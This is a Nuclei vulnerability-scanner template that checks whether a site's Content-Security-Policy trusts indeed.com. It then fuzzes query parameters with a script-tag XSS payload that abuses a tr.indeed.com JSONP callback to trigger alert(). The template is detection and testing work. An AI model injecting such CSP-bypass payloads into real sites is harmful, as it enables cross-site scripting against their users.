id: indeed-tr-csp-bypass

info:
  name: Content-Security-Policy Bypass - Indeed TR
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,indeed-tr

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "indeed.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: indeed_tr_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://tr.indeed.com/m/newjobs?q=&l=&ts=1734358724474&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "indeed_tr_csp_xss == true"
# digest: 4a0a00473045022100a965ecd28bbb4ee7671b012e3354619518f862a6528452f231e8f28f5435d10c02205d55fbfb4b3fcda902b95dbe4084486e9ecb42ec6834211f25d106aa7bbe5d09:922c64590222798bb761d5b6d8e72950